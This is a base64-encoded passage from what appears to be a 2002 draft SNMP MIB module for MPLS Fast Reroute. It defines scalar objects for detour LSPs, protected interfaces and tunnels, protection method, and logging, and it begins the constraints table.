MTEyMDBaIiAtLSAwMSBOb3ZlbWJlciAyMDAyIDEyOjAwOjAwIEdNVA0KICAgICAgIERFU0NSSVBU
SU9ODQogICAgICAgICAgICAiQWRkZWQgc3VwcG9ydCBmb3IgRmFjaWxpdHktYmFzZWQgRlJSLg0K
DQogICAgICAgICAgICAgUmVtb3ZlZCB0YWJsZXMgdGhhdCB3ZXJlIHJlZHVuZGFudCB3aXRoDQog
ICAgICAgICAgICAgICBvdGhlciBNUExTIE1JQnMuDQoNCiAgICAgICAgICAgICBBc3NpZ25lZCBl
eHBlcmltZW50YWwuMTIwLiINCg0KICAgICAgIFJFVklTSU9ODQogICAgICAgICAgICAiMjAwMjAz
MjIxMjAwWiIgLS0gMTggQXByaWwgMjAwMiAxMjowMDowMCBHTVQNCiAgICAgICBERVNDUklQVElP
Tg0KICAgICAgICAgICAgIkluaXRpYWwgZHJhZnQgdmVyc2lvbi4iDQoNCiAgICAgICA6Oj0geyBl
eHBlcmltZW50YWwgMTIwIH0gLS0gdG8gYmUgYXNzaWduZWQgdW5kZXIgbXBsc01JQi4NCg0KICAg
IC0tIEVuZCBvZiBNUExTIEZhc3QgUmVyb3V0ZSB0ZXh0dWFsLWNvbnZlbnRpb25zLg0KDQogICAg
LS0gVG9wIGxldmVsIGNvbXBvbmVudHMgb2YgdGhpcyBNSUIuDQogICAgbXBsc0Zyck5vdGlmICAg
ICAgICAgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBsc0Zyck1JQiAwIH0NCiAgICBtcGxzRnJy
U2NhbGFycyAgICAgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDEgfQ0KICAg
IG1wbHNGcnJPYmplY3RzICAgICAgIE9CSkVDVCBJREVOVElGSUVSIDo6PSB7IG1wbHNGcnJNSUIg
MiB9DQoNCiAgICAtLSBvYmplY3RzIHRoYXQgd29yayBmb3IgZWl0aGVyIG1ldGhvZCBvZiBGUlIN
CiAgICBtcGxzRnJyR2VuZXJhbE9iamVjdHMgT0JKRUNUIElERU5USUZJRVIgOjo9IHsgbXBsc0Zy
ck9iamVjdHMgMSB9DQoNCiAgICAtLSBvYmplY3RzIGRlZmluZWQgZm9yIDEtdG8tMSBzdHlsZSBG
UlINCiAgICBtcGxzRnJyMXRvMU9iamVjdHMgICBPQkpFQ1QgSURFTlRJRklFUiA6Oj0geyBtcGxz
RnJyT2JqZWN0cyAyIH0NCg0KICAgIC0tIG9iamVjdHMgZGVmaW5lZCBmb3IgRmFjaWxpdHkgQmFj
a3VwIHN0eWxlIEZSUg0KICAgIG1wbHNGcnJGYWNPYmplY3RzICAgIE9CSkVDVCBJREVOVElGSUVS
IDo6PSB7IG1wbHNGcnJPYmplY3RzIDMgfQ0KDQogICAgLS0NCiAgICAtLSBFZCBOb3RlOiBuZWVk
IHRvIGRlZmluZSB0d28gY29uZm9ybWFuY2Ugc3RhdGVtZW50czogb25lIGZvcg0KICAgIC0tIG9u
ZSBmb3IgMS0yLTEgYW5kIGZvciBGYWNpbGl0eS4gIE1pZ2h0IG5lZWQgc2VwYXJhdGUgb25lcyBm
b3INCiAgICAtLSByZWFkLW9ubHkgdnMuIHJlYWQtd3JpdGUgdG9vLiAgVGhlcmUgaXMgY3VycmVu
dGx5IGp1c3QgYSBzaW5nbGUNCiAgICAtLSBjb25mb3JtYW5jZSBzdGF0ZW1lbnQgZHVlIHRvIHRp
bWUgY29uc3RyYWludHMuDQogICAgLS0NCiAgICBtcGxzRnJyQ29uZm9ybWFuY2UgICBPQkpFQ1Qg
SURFTlRJRklFUiA6Oj0geyBtcGxzRnJyTUlCIDMgfQ0KDQogICAgLS0gTVBMUyBGYXN0IFJlcm91
dGUgc2NhbGFycy4NCg0KICAgIG1wbHNGcnJEZXRvdXJJbmNvbWluZyBPQkpFQ1QtVFlQRQ0KICAg
ICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1v
bmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAg
ICAgICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIGVudGVyaW5nIHRoZSBkZXZpY2UgaWYN
CiAgICAgICAgIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvIG9uZVRvT25l
QmFja3VwKDEpLA0KICAgICAgICAgb3IgMCBpZiBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9k
IGlzIHNldCB0bw0KICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMikuIg0KICAgICAgIERFRlZBTCB7
IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDEgfQ0KDQogICAgbXBsc0ZyckRldG91
ck91dGdvaW5nIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyDQog
ICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJl
bnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIlRoZSBudW1iZXIgb2YgZGV0b3VyIExT
UHMgbGVhdmluZyB0aGUgZGV2aWNlIGlmDQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9u
TWV0aG9kIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKSwgb3INCiAgICAgICAgIDAgaWYgbXBs
c0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQgdG8NCiAgICAgICAgIGZhY2lsaXR5QmFj
a3VwKDIpLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAgICA6Oj0geyBtcGxzRnJyU2NhbGFy
cyAyIH0NCg0KICAgIG1wbHNGcnJEZXRvdXJPcmlnaW5hdGluZyBPQkpFQ1QtVFlQRQ0KICAgICAg
IFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5
DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAg
ICAgICJUaGUgbnVtYmVyIG9mIGRldG91ciBMU1BzIG9yaWdpbmF0aW5nIGF0IHRoaXMgUExSIGlm
DQogICAgICAgICBtcGxzRnJyQ29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBvbmVUb09u
ZUJhY2t1cCgxKS4NCiAgICAgICAgIFRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAgaWYgdGhlIG1w
bHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QNCiAgICAgICAgIGlzIHNldCB0byBmYWNpbGl0eUJh
Y2t1cCgyKS4iDQogICAgICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxh
cnMgMyB9DQoNCiAgICBtcGxzRnJyU3dpdGNob3ZlciBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRB
WCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAg
ICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJU
aGUgbnVtYmVyIG9mIHR1bm5lbCBpbnN0YW5jZXMgdGhhdCBhcmUgc3dpdGNoZWQgb3ZlciB0byB0
aGVpcg0KICAgICAgICAgY29ycmVzcG9uZGluZyBkZXRvdXIgTFNQIGlmIG1wbHNGcnJDb25zdFBy
b3RlY3Rpb25NZXRob2QgaXMgc2V0DQogICAgICAgICB0byBvbmVUb09uZUJhY2t1cCgxKSwgb3Ig
dHVubmVsIGluc3RhbmNlcyBiZWluZyBzd2l0Y2hlZCBvdmVyIGlmDQogICAgICAgICBtcGxzRnJy
Q29uc3RQcm90ZWN0aW9uTWV0aG9kIGlzIHNldCB0byBmYWNpbGl0eUJhY2t1cCgyKS4iDQogICAg
ICAgREVGVkFMIHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNCB9DQoNCiAgICBt
cGxzRnJyQ29uZklmcyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQz
Mg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJl
ciBvZiBNUExTIGludGVyZmFjZXMgY29uZmlndXJlZCBmb3INCiAgICAgICAgICBwcm90ZWN0aW9u
IGJ5IHRoZSBGUlIgZmVhdHVyZSwgb3RoZXJ3aXNlIHRoaXMgdmFsdWUNCiAgICAgICAgICBNVVNU
IHJldHVybiAwIHRvIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueQ0KICAgICAgICAg
IGludGVyZmFjZSBtYXkgYmUgcHJvdGVjdGVkLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAg
ICA6Oj0geyBtcGxzRnJyU2NhbGFycyA1IH0NCg0KICAgIG1wbHNGcnJBY3RQcm90ZWN0ZWRJZnMg
T0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFVuc2lnbmVkMzINCiAgICAgICBNQVgt
QUNDRVNTICAgIHJlYWQtb25seQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAgICAg
IERFU0NSSVBUSU9ODQogICAgICAgICAiSW5kaWNhdGVzIHRoZSBudW1iZXIgb2YgaW50ZXJmYWNl
cyBjdXJyZW50bHkgYmVpbmcgcHJvdGVjdGVkDQogICAgICAgICAgYnkgdGhlIEZSUiBmZWF0dXJl
IGlmIG1wbHNGcnJDb25zdFByb3RlY3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAgZmFj
aWxpdHlCYWNrdXAoMiksIG90aGVyd2lzZSB0aGlzIHZhbHVlIHNob3VsZCByZXR1cm4gMCB0bw0K
ICAgICAgICAgIGluZGljYXRlIHRoYXQgTFNQcyB0cmF2ZXJzaW5nIGFueSBpbnRlcmZhY2UgbWF5
IGJlIHByb3RlY3RlZC4NCiAgICAgICAgICBUaGlzIHZhbHVlIE1VU1QgYmUgbGVzcyB0aGFuIG9y
IGVxdWFsIHRvIG1wbHNGcnJDb25mSWZzLiINCiAgICAgICBERUZWQUwgeyAwIH0NCiAgICAgICA6
Oj0geyBtcGxzRnJyU2NhbGFycyA2IH0NCg0KICAgIG1wbHNGcnJDb25mUHJvdGVjdGVkVHVucyBP
QkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQzMg0KICAgICAgIE1BWC1B
Q0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBjdXJyZW50DQogICAgICAg
REVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJlciBvZiBieXBhc3MgdHVu
bmVscyBjb25maWd1cmVkIHRvDQogICAgICAgICAgcHJvdGVjdCBmYWNpbGl0aWVzIG9uIHRoaXMg
TFNSIHVzaW5nIHRoZSBGUlIgZmVhdHVyZQ0KICAgICAgICAgIGlmIG1wbHNGcnJDb25zdFByb3Rl
Y3Rpb25NZXRob2QgaXMgc2V0IHRvDQogICAgICAgICAgZmFjaWxpdHlCYWNrdXAoMiksIG90aGVy
d2lzZSB0aGlzIHZhbHVlIE1VU1QgcmV0dXJuDQogICAgICAgICAgMC4iDQogICAgICAgREVGVkFM
IHsgMCB9DQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgNyB9DQoNCiAgICBtcGxzRnJyQWN0
UHJvdGVjdGVkVHVucyBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgVW5zaWduZWQz
Mg0KICAgICAgIE1BWC1BQ0NFU1MgICAgcmVhZC1vbmx5DQogICAgICAgU1RBVFVTICAgICAgICBj
dXJyZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJJbmRpY2F0ZXMgdGhlIG51bWJl
ciBvZiBieXBhc3MgdHVubmVscyBpbmRpY2F0ZWQgaW4NCiAgICAgICAgICBtcGxzRnJyQ29uZlBy
b3RlY3RlZFR1bnMgd2hvc2Ugb3BlclN0YXR1cw0KICAgICAgICAgIGlzIHVwKDEpIGluZGljYXRp
bmcgdGhhdCB0aGV5IGFyZSBjdXJyZW50bHkgcHJvdGVjdGluZw0KICAgICAgICAgIGZhY2lsaXRp
ZXMgb24gdGhpcyBMU1IgdXNpbmcgdGhlIEZSUiBmZWF0dXJlLiBUaGlzDQogICAgICAgICAgb2Jq
ZWN0IE1VU1QgcmV0dXJuIDAgaWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZA0KICAgICAg
ICAgIGlzIHNldCB0byBvbmVUb09uZUJhY2t1cCgxKS4iDQogICAgICAgREVGVkFMIHsgMCB9DQog
ICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgOCB9DQoNCiAgICBtcGxzRnJyQWN0aXZlbHlQcm90
ZWN0ZWRMU1BzIE9CSkVDVC1UWVBFDQogICAgICAgU1lOVEFYICAgICAgICBVbnNpZ25lZDMyDQog
ICAgICAgTUFYLUFDQ0VTUyAgICByZWFkLW9ubHkNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJl
bnQNCiAgICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB0aGUgbnVtYmVyIG9m
IExTUHMgY3VycmVudGx5IHByb3RlY3RlZCBieQ0KICAgICAgICAgIHRoZSBGUlIgZmVhdHVyZS4g
SWYgbXBsc0ZyckNvbnN0UHJvdGVjdGlvbk1ldGhvZCBpcyBzZXQNCiAgICAgICAgICB0byBvbmVU
b09uZUJhY2t1cCgxKXRoaXMgb2JqZWN0IE1VU1QgcmV0dXJuIDAuIg0KICAgICAgIERFRlZBTCB7
IDAgfQ0KICAgICAgIDo6PSB7IG1wbHNGcnJTY2FsYXJzIDkgfQ0KDQogICAgbXBsc0ZyckNvbnN0
UHJvdGVjdGlvbk1ldGhvZCBPQkpFQ1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSU5URUdF
UiB7IG9uZVRvT25lQmFja3VwKDApLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZh
Y2lsaXR5QmFja3VwKDEpDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICBN
QVgtQUNDRVNTICAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAg
ICAgICBERVNDUklQVElPTg0KICAgICAgICAgIkluZGljYXRlcyB3aGljaCBwcm90ZWN0aW9uIG1l
dGhvZCBpcyB0byBiZSB1c2VkIGZvciBmYXN0DQogICAgICAgICAgcmVyb3V0ZS4gU29tZSBkZXZp
Y2VzIG1heSByZXF1aXJlIGEgcmVib290IG9mIHRoZWlyIHJvdXRpbmcNCiAgICAgICAgICBwcm9j
ZXNzb3JzIGlmIHRoaXMgdmFyaWFibGUgaXMgY2hhbmdlZC4gQW4gYWdlbnQgd2hpY2gNCiAgICAg
ICAgICBkb2VzIG5vdCB3aXNoIHRvIHJlYm9vdCBvciBtb2RpZnkgaXRzIEZSUiBtb2RlDQogICAg
ICAgICAgTVVTVCByZXR1cm4gYW4gaW5jb25zaXN0ZW50VmFsdWUgZXJyb3IuIFBsZWFzZQ0KICAg
ICAgICAgIGNvbnN1bHQgdGhlIGRldmljZSdzIGFnZW50IGNhcGFiaWxpdHkgc3RhdGVtZW50DQog
ICAgICAgICAgZm9yIG1vcmUgZGV0YWlscy4iDQogICAgICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMg
MTAgfQ0KDQogICAgbXBsc0Zyck5vdGlmc0VuYWJsZWQgT0JKRUNULVRZUEUNCiAgICAgICAgU1lO
VEFYICAgICAgICAgICAgVHJ1dGhWYWx1ZQ0KICAgICAgICBNQVgtQUNDRVNTICAgICAgICByZWFk
LXdyaXRlDQogICAgICAgIFNUQVRVUyAgICAgICAgICAgIGN1cnJlbnQNCiAgICAgICAgREVTQ1JJ
UFRJT04NCiAgICAgICAgICAgICJFbmFibGVzIG9yIGRpc2FibGVzIEZSUiBub3RpZmljYXRpb25z
IGRlZmluZWQgaW4gdGhpcyBNSUINCiAgICAgICAgICAgIG1vZHVsZS4gTm90aWZpY2F0aW9ucyBh
cmUgZGlzYWJsZWQgYnkgZGVmYXVsdC4iDQogICAgICAgIERFRlZBTCB7IGZhbHNlIH0NCiAgICA6
Oj0geyBtcGxzRnJyU2NhbGFycyAxMSB9DQoNCiAgICBtcGxzRnJyTG9nVGFibGVNYXhFbnRyaWVz
IE9CSkVDVC1UWVBFDQogICAgICAgIFNZTlRBWCAgICAgICAgICAgIFVuc2lnbmVkMzINCiAgICAg
ICAgTUFYLUFDQ0VTUyAgICAgICAgcmVhZC13cml0ZQ0KICAgICAgICBTVEFUVVMgICAgICAgICAg
ICBjdXJyZW50DQogICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVzIHRo
ZSBtYXhpbXVtIG51bWJlciBvZiBlbnRyaWVzIGFsbG93ZWQgaW4gdGhlIEZSUg0KICAgICAgICAg
ICAgIExvZyB0YWJsZS4gQWdlbnRzIHJlY2VpdmluZyBTRVRzIGZvciB2YWx1ZXMgdGhhdCBjYW5u
b3QgYmUNCiAgICAgICAgICAgICB1c2VkIG11c3QgcmV0dXJuIGFuIGluY29uc2lzdGVudCB2YWx1
ZSBlcnJvci4gSWYgYSBtYW5hZ2VyDQogICAgICAgICAgICAgc2V0cyB0aGlzIHZhbHVlIHRvIDAs
IHRoaXMgaW5kaWNhdGVzIHRoYXQgbm8gbG9nZ2luZyBzaG91bGQNCiAgICAgICAgICAgICB0YWtl
IHBsYWNlIGJ5IHRoZSBhZ2VudC4NCg0KICAgICAgICAgICAgIElmIHRoaXMgdmFsdWUgaXMgcmV0
dXJuZWQgYXMgMCwgdGhpcyBpbmRpY2F0ZXMNCiAgICAgICAgICAgICB0aGF0IG5vIGFkZGl0aW9u
YWwgbG9nIGVudHJpZXMgd2lsbCBiZSBhZGRlZCB0byB0aGUgY3VycmVudA0KICAgICAgICAgICAg
IHRhYmxlIGVpdGhlciBiZWNhdXNlIHRoZSB0YWJsZSBoYXMgYmVlbiBjb21wbGV0ZWx5DQogICAg
ICAgICAgICAgZmlsbGVkIG9yIGxvZ2dpbmcgaGFzIGJlZW4gZGlzYWJsZWQuIEhvd2V2ZXIsIGFn
ZW50cw0KICAgICAgICAgICAgIG1heSB3aXNoIHRvIG5vdCBkZWxldGUgZXhpc3RpbmcgZW50cmll
cyBpbiB0aGUgbG9nIHRhYmxlDQogICAgICAgICAgICAgc28gdGhhdCBtYW5hZ2VycyBtYXkgcmV2
aWV3IHRoZW0gaW4gdGhlIGZ1dHVyZS4NCg0KICAgICAgICAgICAgIEl0IGlzIGltcGxpZWQgdGhh
dCB3aGVuIG1wbHNGcnJMb2dUYWJsZUN1cnJFbnRyaWVzDQogICAgICAgICAgICAgaGFzIHJlYWNo
ZWQgdGhlIHZhbHVlIG9mIHRoaXMgdmFyaWFibGUsIHRoYXQgbG9nZ2luZw0KICAgICAgICAgICAg
IGVudHJpZXMgbWF5IG5vdCBjb250aW51ZSB0byBiZSBhZGRlZCB0byB0aGUgdGFibGUsDQogICAg
ICAgICAgICAgYWx0aG91Z2ggZXhpc3Rpbmcgb25lcyBtYXkgcmVtYWluLiAgRnVydGhlcm1vcmUs
IGFuDQogICAgICAgICAgICAgYWdlbnQgbWF5IGJlZ2luIHRvIGRlbGV0ZSBleGlzdGluZyAocGVy
aGFwcyB0aGUNCiAgICAgICAgICAgICBvbGRlc3QgZW50cmllcykgZW50cmllcyB0byBtYWtlIHJv
b20gZm9yIG5ldyBvbmVzLiINCiAgICAgICAgREVGVkFMIHsgMCB9DQogICAgOjo9IHsgbXBsc0Zy
clNjYWxhcnMgMTIgfQ0KDQogICAgbXBsc0ZyckxvZ1RhYmxlQ3VyckVudHJpZXMgT0JKRUNULVRZ
UEUNCiAgICAgICAgU1lOVEFYICAgICAgICAgICAgQ291bnRlcjMyDQogICAgICAgIE1BWC1BQ0NF
U1MgICAgICAgIHJlYWQtb25seQ0KICAgICAgICBTVEFUVVMgICAgICAgICAgICBjdXJyZW50DQog
ICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAgICAiSW5kaWNhdGVzIHRoZSBjdXJyZW50IG51
bWJlciBvZiBlbnRyaWVzIGluIHRoZSBGUlIgbG9nDQogICAgICAgICAgICB0YWJsZS4iDQogICAg
Ojo9IHsgbXBsc0ZyclNjYWxhcnMgMTMgfQ0KDQogICAgbXBsc0Zyck5vdGlmTWF4UmF0ZSBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICBVbnNpZ25lZDMyDQogICAgICAgTUFYLUFDQ0VT
UyAgIHJlYWQtd3JpdGUNCiAgICAgICBTVEFUVVMgICAgICAgY3VycmVudA0KICAgICAgIERFU0NS
SVBUSU9ODQogICAgICAgICAgICJUaGlzIHZhcmlhYmxlIGluZGljYXRlcyB0aGUgbnVtYmVyIG9m
IG1pbGxpc2Vjb25kcw0KICAgICAgICAgICAgdGhhdCBtdXN0IGVsYXBzZSBiZXR3ZWVuIG5vdGlm
aWNhdGlvbiBlbWlzc2lvbnMuIElmDQogICAgICAgICAgICBldmVudHMgb2NjdXIgbW9yZSByYXBp
ZGx5LCB0aGUgaW1wbGVtZW50YXRpb24gbWF5DQogICAgICAgICAgICBzaW1wbHkgZmFpbCB0byBl
bWl0IHRoZXNlIG5vdGlmaWNhdGlvbnMgZHVyaW5nIHRoYXQNCiAgICAgICAgICAgIHBlcmlvZCwg
b3IgbWF5IHF1ZXVlIHRoZW0gdW50aWwgYW4gYXBwcm9wcmlhdGUNCiAgICAgICAgICAgIHRpbWUg
aW4gdGhlIGZ1dHVyZS4gQSB2YWx1ZSBvZiAwIG1lYW5zIG5vIG1pbmltdW0NCiAgICAgICAgICAg
IGVsYXBzZWQgcGVyaW9kIGlzIHNwZWNpZmllZC4iDQogICAgICAgREVGVkFMICAgICAgIHsgMCB9
DQogICAgOjo9IHsgbXBsc0ZyclNjYWxhcnMgMTQgfQ0KDQogICAgLS0NCiAgICAtLSAgR2VuZXJh
bCBGUlIgVGFibGUgU2VjdGlvbg0KICAgIC0tDQogICAgLS0gIFRoZXNlIHRhYmxlcyBhcHBseSB0
byBib3RoIHR5cGVzIG9mIEZSUg0KICAgIC0tICBhbmQgc2hvdWxkIGJlIGltcGxlbWVudGVkIGJ5
IGFsbCBMU1JzIHN1cHBvcnRpbmcNCiAgICAtLSAgRlJSLg0KICAgIC0tDQoNCiAgICAtLSBNUExT
IEZhc3QgUmVyb3V0ZSBDb25zdHJhaW50cyB0YWJsZQ0KDQogICAgbXBsc0ZyckNvbnN0VGFibGUg
T0JKRUNULVRZUEUNCiAgICAgICBTWU5UQVggICAgICAgIFNFUVVFTkNFIE9GIE1wbHNGcnJDb25z
dEVudHJ5DQogICAgICAgTUFYLUFDQ0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRV
UyAgICAgICAgY3VycmVudA0KICAgICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiVGhpcyB0YWJs
ZSBzaG93cyBiYWNrdXAgTFNQIHNldHVwIGNvbnN0cmFpbnRzLiINCiAgICAgICA6Oj0geyAgbXBs
c0ZyckdlbmVyYWxPYmplY3RzIDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0RW50cnkgT0JKRUNULVRZ
UEUNCiAgICAgICBTWU5UQVggICAgICAgIE1wbHNGcnJDb25zdEVudHJ5DQogICAgICAgTUFYLUFD
Q0VTUyAgICBub3QtYWNjZXNzaWJsZQ0KICAgICAgIFNUQVRVUyAgICAgICAgY3VycmVudA0KICAg
ICAgIERFU0NSSVBUSU9ODQogICAgICAgICAiQW4gZW50cnkgaW4gdGhpcyB0YWJsZSByZXByZXNl
bnRzIGRldG91ciBMU1Agb3IgYnlwYXNzIHR1bm5lbA0KICAgICAgICAgIHNldHVwIGNvbnN0cmFp
bnRzIGZvciBhIHR1bm5lbCBpbnN0YW5jZSB0byBiZSBwcm90ZWN0ZWQgYnkgZGV0b3VyDQogICAg
ICAgICAgTFNQcyBvciBhIHR1bm5lbC4NCg0KICAgICAgICAgIEFnZW50cyBtdXN0IGFsbG93IGVu
dHJpZXMgaW4gdGhpcyB0YWJsZSB0byBiZQ0KICAgICAgICAgIGNyZWF0ZWQgb25seSBmb3IgdHVu
bmVsIGluc3RhbmNlcyB0aGF0IHJlcXVpcmUgZmFzdC1yZXJvdXRlLg0KICAgICAgICAgIEVudHJp
ZXMgaW5kZXhlZCB3aXRoIG1wbHNGcnJDb25zdElmSW5kZXggc2V0IHRvIDAgYXBwbHkgdG8gYWxs
DQogICAgICAgICAgaW50ZXJmYWNlcyBvbiB0aGlzIGRldmljZSBmb3Igd2hpY2ggdGhlIEZSUiBm
ZWF0dXJlIGNhbiBvcGVyYXRlDQogICAgICAgICAgb24uIg0KICAgICAgIElOREVYIHsgbXBsc0Zy
ckNvbnN0SWZJbmRleCwNCiAgICAgICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5lbEluZGV4LA0K
ICAgICAgICAgICAgICAgbXBsc0ZyckNvbnN0VHVubmVsSW5zdGFuY2UNCiAgICAgICAgICAgICB9
DQogICAgICAgOjo9IHsgbXBsc0ZyckNvbnN0VGFibGUgMSB9DQoNCiAgICBNcGxzRnJyQ29uc3RF
bnRyeSA6Oj0gU0VRVUVOQ0Ugew0KICAgICAgICAgIG1wbHNGcnJDb25zdElmSW5kZXggICAgICAg
ICAgIEludGVyZmFjZUluZGV4T3JaZXJvLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFR1bm5lbElu
ZGV4ICAgICAgIE1wbHNUdW5uZWxJbmRleCwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RUdW5uZWxJ
bnN0YW5jZSAgICBNcGxzVHVubmVsSW5zdGFuY2VJbmRleCwNCiAgICAgICAgICBtcGxzRnJyQ29u
c3RQcm90ZWN0aW9uVHlwZSAgICBJTlRFR0VSLA0KICAgICAgICAgIG1wbHNGcnJDb25zdFNldHVw
UHJpbyAgICAgICAgIFVuc2lnbmVkMzIsDQogICAgICAgICAgbXBsc0ZyckNvbnN0SG9sZGluZ1By
aW8gICAgICAgVW5zaWduZWQzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RJbmNsQW55QWZmaW5p
dHkgICBNcGxzVHVubmVsQWZmaW5pdHksDQogICAgICAgICAgbXBsc0ZyckNvbnN0SW5jbEFsbEFm
ZmluaXR5ICAgTXBsc1R1bm5lbEFmZmluaXR5LA0KICAgICAgICAgIG1wbHNGcnJDb25zdEV4Y2xB
bnlBZmZpbml0eSAgIE1wbHNUdW5uZWxBZmZpbml0eSwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RI
b3BMaW1pdCAgICAgICAgICBVbnNpZ25lZDMyLA0KICAgICAgICAgIG1wbHNGcnJDb25zdEJhbmR3
aWR0aCAgICAgICAgIEludGVnZXIzMiwNCiAgICAgICAgICBtcGxzRnJyQ29uc3RSb3dTdGF0dXMg
ICAgICAgICBSb3dTdGF0dXMNCiAgICB9DQoNCiAgICBtcGxzRnJyQ29uc3RJZkluZGV4ICBPQkpF
Q1QtVFlQRQ0KICAgICAgIFNZTlRBWCAgICAgICAgSW50ZXJmYWNlSW5kZXhPclplcm8NCiAgICAg
ICBNQVgtQUNDRVNTICAgIG5vdC1hY2Nlc3NpYmxlDQogICAgICAgU1RBVFVTICAgICAgICBjdXJy
ZW50DQogICAgICAgREVTQ1JJUFRJT04NCiAgICAgICAgICJVbmlxdWVseSBpZGVudGlmaWVzIGFu
IGludGVyZmFjZSBmb3Igd2hpY2ggZmFzdCByZXJvdXRlIGlzDQogICAgICAgICBjb25maWd1cmVk
LiBUYWJ1bGFyIGVudHJpZXMgaW5kZXhlZCB3aXRoIGEgMCB2YWx1ZSBhcHBseSB0byBhbGwNCiAg
ICAgICAgIGludGVyZmFjZXMgb24gdGhpcyBkZXZpY2UgZm9yIHdoaWNoIHRoZSBGUlIgZmVhdHVy
ZSBjYW4gb3BlcmF0ZQ0KICAgICAgICAgb24uIg0KICAgICAgIDo6PSB7IG1wbHNGcnJDb25zdEVu
dHJ5IDEgfQ0KDQogICAgbXBsc0ZyckNvbnN0VHVubmVsSW5kZXggT0JKRUNULVRZUEUNCiAgICAg
ICBTWU5UQVggICAgICAgIE1wbHNUdW5uZWxJbmRleA0KICAgICAgIE1BWC1BQ0NFU1MgICAgbm90
LWFjY2Vzc2libGUNCiAgICAgICBTVEFUVVMgICAgICAgIGN1cnJlbnQNCiAgICAgICBERVNDUklQ
VElPTg0KICAgICAgICAgIlVuaXF1ZWx5IGlkZW50aWZpZXMgYSB0dW5uZWwgZm9yIHdoaWNoIGZh
c3QgcmVyb3V0ZSBpcw0KICAgICAgICAgIHJlcXVlc3RlZC4iDQogICAgICAgOjo9IHsgbXBsc0Zy
ckNvbnN0RW50cnkgMiB9DQoNCiAgICBtcGxzRnJyQ29uc3RUdW5uZWxJbnN0YW5jZSBPQkpFQ1Qt
